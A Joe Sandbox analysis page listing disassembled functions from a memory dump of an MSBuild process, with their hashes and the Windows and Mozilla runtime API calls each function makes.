Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: memcpymemsetmoz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 706364981-0
Opcode ID: 361d54ea1bf33ed41a2808a92c3d29e5ddda016a7897c8b67ecb938eaf38d72d
Instruction ID: a6ff8253b3c11a0ee7a5da10d311b874619646577bfabced9f16723ff1305d00
Opcode Fuzzy Hash: 361d54ea1bf33ed41a2808a92c3d29e5ddda016a7897c8b67ecb938eaf38d72d
Instruction Fuzzy Hash: 59418FB1A10216DFDB14CFA8DC81AAE7BA4BF45364F240628E815EB294F734DA0487E1

Function 6BCFD310 Relevance: 12.1, APIs: 8, Instructions: 132threadtimeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BCFD36B
GetCurrentThreadId.KERNEL32 ref: 6BCFD38A
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BCFD39D
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BCFD3E1
free.MOZGLUE ref: 6BCFD408

Part of subcall function 6BCDCBE8: GetCurrentProcess.KERNEL32(?,6BCA31A7), ref: 6BCDCBF1
Part of subcall function 6BCDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BCA31A7), ref: 6BCDCBFA

GetCurrentThreadId.KERNEL32 ref: 6BCFD44B
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BCFD457
ReleaseSRWLockExclusive.KERNEL32(?,?), ref: 6BCFD472

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$Current$AcquireProcessReleaseThread$StampTerminateTimeV01@@Value@mozilla@@free
String ID:
API String ID: 3843575911-0
Opcode ID: c3c0c4d53be4999beba742507e8cc779fd25dcdd053559f7fc73b6870dd9aa0d
Instruction ID: 4fca6524598060281ec2219ff95b5e790fca1aadff4033cbd855ea6e2ca1857d
Opcode Fuzzy Hash: c3c0c4d53be4999beba742507e8cc779fd25dcdd053559f7fc73b6870dd9aa0d
Instruction Fuzzy Hash: D941EC759103058FDB04DF64C484A9BFBB9FF85314F10496EEAA28B340EB79EA45CB91

Function 6BCAEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6BD25104), ref: 6BCAEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6BCAEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6BCAEFEC
free.MOZGLUE(?), ref: 6BCAF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6BCAF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6BCAF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCAF065
moz_xmalloc.MOZGLUE ref: 6BCAF072

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 0733e5bf26089c0f1aa43fcc43e9527f193abbb619a9beeb6dcf7a62ae93d26a
Instruction ID: e3059c387316a0038b91f9ba8a76f3ff6aea257f6941c7766367f06c4de8742b
Opcode Fuzzy Hash: 0733e5bf26089c0f1aa43fcc43e9527f193abbb619a9beeb6dcf7a62ae93d26a
Instruction Fuzzy Hash: B241E3B1A102069FCB08CF78DC819AF7365EF84324B240228E915DB395FB75EA0587E1

Function 6BCAB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6BCAB61E,?,?,?,?,?,00000000), ref: 6BCAB6AC

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6BCAB61E,?,?,?,?,?,00000000), ref: 6BCAB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6BCAB61E,?,?,?,?,?,00000000), ref: 6BCAB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6BCAB61E,?,?,?,?,?,00000000), ref: 6BCAB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6BCAB61E,?,?,?,?,?,00000000), ref: 6BCAB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6BCAB61E), ref: 6BCAB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6BCAB61E,?,?,?,?,?,00000000), ref: 6BCAB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6BCAB61E,?,?,?,?,?,00000000), ref: 6BCAB79A

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 327568ed351663997b83acfc8e3a04c4f99363040f3f01c55a80b57cbcb584e3
Instruction ID: 7d331316db13410271eed9d22941a8bf7a3cd4d3c78f73f8cca8444f631cbfbd
Opcode Fuzzy Hash: 327568ed351663997b83acfc8e3a04c4f99363040f3f01c55a80b57cbcb584e3
Instruction Fuzzy Hash: 8141B3B2D1411A9FCB04CF68DC815AFB7B5BB45320F250669E825E7380F775AA0087E1

Function 6BD1B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6BD1B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6BD1B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6BD1B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6BD1B5F4
__Init_thread_footer.LIBCMT ref: 6BD1B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6BD1B61F
std::_Facet_Register.LIBCPMT ref: 6BD1B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BD1B655

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 9727545e4e72fdc26988b05066fe3b7e6a7f2fda452f16358f47b4f036958a2d
Instruction ID: b8d07ef16a8b60ee3ab8e23a57b9c8934fcb71246f121566456a97a142ca8f3e
Opcode Fuzzy Hash: 9727545e4e72fdc26988b05066fe3b7e6a7f2fda452f16358f47b4f036958a2d
Instruction Fuzzy Hash: 6031B771A00184CBEB00DF69D8559AEFBB5FF86320B04091ADB069F380DB74E906CF91

Function 6BCB9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6BD07ABE), ref: 6BCB985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6BD07ABE), ref: 6BCB98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6BCB9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6BCB9918
free.MOZGLUE(?), ref: 6BCB9975

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 82c1a59613f36551a73cd7d2e9a26e36a5260c77131c746538bf57224453fe13
Instruction ID: b36e43990d0d30b26dfb7ce0992f2031d7d12ef22e0202913b6f31d835eacf9f
Opcode Fuzzy Hash: 82c1a59613f36551a73cd7d2e9a26e36a5260c77131c746538bf57224453fe13
Instruction Fuzzy Hash: FF71AE74A107058FC754CF28C48095AB7F1FF5A324B104AADD86A8B791E7B6FA05CF61

Function 6BCBB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6BCFCC83,?,?,?,?,?,?,?,?,?,6BCFBCAE,?,?,6BCEDC2C), ref: 6BCBB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6BCFCC83,?,?,?,?,?,?,?,?,?,6BCFBCAE,?,?,6BCEDC2C), ref: 6BCBB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6BCFCC83,?,?,?,?,?,?,?,?,?,6BCFBCAE), ref: 6BCBB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6BCFCC83,?,?,?,?,?,?,?,?,?,6BCFBCAE,?,?,6BCEDC2C), ref: 6BCBB896

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: e4cccdbafa2c32e752a0e6850eb38cf2c9bfb86e512fed3449fcfaf102b60e29
Instruction ID: 5893f2557e358fa3edc34110bba74a9bfbaed8fe4085e06d55bac425a43e0795
Opcode Fuzzy Hash: e4cccdbafa2c32e752a0e6850eb38cf2c9bfb86e512fed3449fcfaf102b60e29
Instruction Fuzzy Hash: 8C517835B106008FDB24CF59C4D4A6EBBF5FF8D314B598499EA9A8B382D735E901CB90

Function 6BCE4AD0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 139stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6BCE4AB7,?,6BCA43CF,?,6BCA42D2), ref: 6BCE4B48
free.MOZGLUE(?,?,?,80000000,?,6BCE4AB7,?,6BCA43CF,?,6BCA42D2), ref: 6BCE4B7F
memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6BCE4AB7,?,6BCA43CF,?,6BCA42D2), ref: 6BCE4B94
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6BCE4AB7,?,6BCA43CF,?,6BCA42D2), ref: 6BCE4BBC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,pid:,00000004,?,?,?,6BCE4AB7,?,6BCA43CF,?,6BCA42D2), ref: 6BCE4BEE

Strings

pid:, xrefs: 6BCE4BE8

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfreestrncmp
String ID: pid:
API String ID: 1916652239-3403741246
Opcode ID: 7d2a52fff9f38878b04a2b1e275eb0af8cfba1c76c66823f85f732b7d3ee08c2
Instruction ID: 91b624c7c84253090d0caad94f55f794bc79a82ebdcae8e160b96bfd3ed63f30
Opcode Fuzzy Hash: 7d2a52fff9f38878b04a2b1e275eb0af8cfba1c76c66823f85f732b7d3ee08c2
Instruction Fuzzy Hash: 6D412771710255CBCB14CFB8EC8099FBBE9EF85224B140638E968DB381E7349A05C7B1

Function 6BD0AAB0 Relevance: 10.6, APIs: 7, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6BD2E220,?), ref: 6BD0BC2D
ReleaseSRWLockExclusive.KERNEL32(6BD2E220), ref: 6BD0BC42
RtlFreeHeap.NTDLL(?,00000000,6BD1E300), ref: 6BD0BC82
RtlFreeUnicodeString.NTDLL(6BD2E210), ref: 6BD0BC91
RtlFreeUnicodeString.NTDLL(6BD2E208), ref: 6BD0BCA3
RtlFreeHeap.NTDLL(?,00000000,6BD2E21C), ref: 6BD0BCD2
free.MOZGLUE(?), ref: 6BD0BCD8

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 4553b113e57a249783901ede2775830d84a83bae55b75f7af42accb9cbbb1a91
Instruction ID: 00374b1522429907b08d364c468748beeec44a231e0897624a2f15f68e1e04e5
Opcode Fuzzy Hash: 4553b113e57a249783901ede2775830d84a83bae55b75f7af42accb9cbbb1a91
Instruction Fuzzy Hash: 8A21E176544714CFE3208F26D880BA6B7A8FF41728F04846DE95A5F690CB79F881CBA4

Function 6BCB38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6BD2E220,?,?,?,?,6BCB3899,?), ref: 6BCB38B2
ReleaseSRWLockExclusive.KERNEL32(6BD2E220,?,?,?,6BCB3899,?), ref: 6BCB38C3
free.MOZGLUE(00000000,?,?,?,6BCB3899,?), ref: 6BCB38F1
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6BCB3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6BCB3899,?), ref: 6BCB392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6BCB3899,?), ref: 6BCB3943
RtlFreeHeap.NTDLL(?,00000000,0000002C), ref: 6BCB396E

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 555d15ff6b7e5107e4fd7b067b5be7dc9cff823f764240bcbb4e4aac95252c5f
Instruction ID: 4d050669179a3fd76ec05b270e1a49afba330e73c72bf0f4c6e3927fc73a2434
Opcode Fuzzy Hash: 555d15ff6b7e5107e4fd7b067b5be7dc9cff823f764240bcbb4e4aac95252c5f
Instruction Fuzzy Hash: D3212C72A00750DFD730CF25C840B8AB7A5FF85324F154469D96A9B350D739FA41CBA1

Function 6BCB1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6BCB1699
VerSetConditionMask.NTDLL ref: 6BCB16CB
VerSetConditionMask.NTDLL ref: 6BCB16D7
VerSetConditionMask.NTDLL ref: 6BCB16DE
VerSetConditionMask.NTDLL ref: 6BCB16E5
VerSetConditionMask.NTDLL ref: 6BCB16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6BCB16F9

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 12776f28ea294fd990e2c3b358cc558f78c47ec6b2b30043c2d379f2626a83f4
Instruction ID: 13aff65160ec23ed3a33e717e9597616ade033f9fa3c81ef6687fde128a4a30e
Opcode Fuzzy Hash: 12776f28ea294fd990e2c3b358cc558f78c47ec6b2b30043c2d379f2626a83f4
Instruction Fuzzy Hash: E721D2B0A502586BFB105B688C85FBFB36CEFC6714F00452DF6059F1C0E6789E548AA1

Function 6BCFD1D0 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCFD1EC
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BCFD1F5

Part of subcall function 6BCFAD40: moz_malloc_usable_size.MOZGLUE(?), ref: 6BCFAE20

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BCFD211
GetCurrentThreadId.KERNEL32 ref: 6BCFD217
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BCFD226
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BCFD279
free.MOZGLUE(?), ref: 6BCFD2B2

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$freemoz_malloc_usable_size
String ID:
API String ID: 3049780610-0
Opcode ID: d415c436cae0b40bda187a17ed797d76ad565af9de6b79f723fb54873880d4a8
Instruction ID: 028ce47474333422f459468b5d2487987e304ce9e5df74efe01bcc23dd1afb00
Opcode Fuzzy Hash: d415c436cae0b40bda187a17ed797d76ad565af9de6b79f723fb54873880d4a8
Instruction Fuzzy Hash: 50219171614341DFCB04DF24C488A9EB7B5FF8A324F10456EEA1A8B340EB74E906CB96

Function 6BCEF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCDCBE8: GetCurrentProcess.KERNEL32(?,6BCA31A7), ref: 6BCDCBF1
Part of subcall function 6BCDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BCA31A7), ref: 6BCDCBFA

Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BCB4A68), ref: 6BCE945E
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BCE9470
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BCE9482
Part of subcall function 6BCE9420: __Init_thread_footer.LIBCMT ref: 6BCE949F

GetCurrentThreadId.KERNEL32 ref: 6BCEF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6BCEF598), ref: 6BCEF621

Part of subcall function 6BCE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BCE94EE
Part of subcall function 6BCE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BCE9508

GetCurrentThreadId.KERNEL32 ref: 6BCEF637
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8,?,?,00000000,?,6BCEF598), ref: 6BCEF645
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8,?,?,00000000,?,6BCEF598), ref: 6BCEF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6BCEF62A

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 799b25b7524af2ecd97c7ce1cb7df4b8ab82b51f53571ed31ca2ecf37bb20ec5
Instruction ID: 1c305e9465a44066215ba5f408579bfc5df5fbfbadbcd0d415a52663e66bf1ff
Opcode Fuzzy Hash: 799b25b7524af2ecd97c7ce1cb7df4b8ab82b51f53571ed31ca2ecf37bb20ec5
Instruction Fuzzy Hash: 42112371111241EFEA04AF28D844DA5F76DFF86768B000417EB058BB41EBBAE912CBB0

Function 6BCB2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCDAB89: EnterCriticalSection.KERNEL32(6BD2E370,?,?,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284), ref: 6BCDAB94
Part of subcall function 6BCDAB89: LeaveCriticalSection.KERNEL32(6BD2E370,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284,?,?,6BCC56F6), ref: 6BCDABD1

LoadLibraryW.KERNEL32(combase.dll,6BCB1C5F), ref: 6BCB20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6BCB20CD
__Init_thread_footer.LIBCMT ref: 6BCB20E1
FreeLibrary.KERNEL32 ref: 6BCB2124

Strings

combase.dll, xrefs: 6BCB20A9
CoInitializeSecurity, xrefs: 6BCB20C7

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: e8ebc119c7853bb42090c93742c629bbde14752b466490c7ebac3aa9186a29f8
Instruction ID: edaf13244b74ef285f29cefdc51566f4b5518dc36e91e6ea2df95cd40edb6a33
Opcode Fuzzy Hash: e8ebc119c7853bb42090c93742c629bbde14752b466490c7ebac3aa9186a29f8
Instruction Fuzzy Hash: 28216876000289AFEF119FA5DC58E9ABF76FB4A365F004416FB049A250E339D962DF60

Function 6BCE99A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BCB4A68), ref: 6BCE945E
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BCE9470
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BCE9482
Part of subcall function 6BCE9420: __Init_thread_footer.LIBCMT ref: 6BCE949F

GetCurrentThreadId.KERNEL32 ref: 6BCE99C1
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCE99CE
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCE99F8
GetCurrentThreadId.KERNEL32 ref: 6BCE9A05
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCE9A0D

Part of subcall function 6BCE9A60: GetCurrentThreadId.KERNEL32 ref: 6BCE9A95
Part of subcall function 6BCE9A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCE9A9D
Part of subcall function 6BCE9A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BCE9ACC
Part of subcall function 6BCE9A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCE9BA7
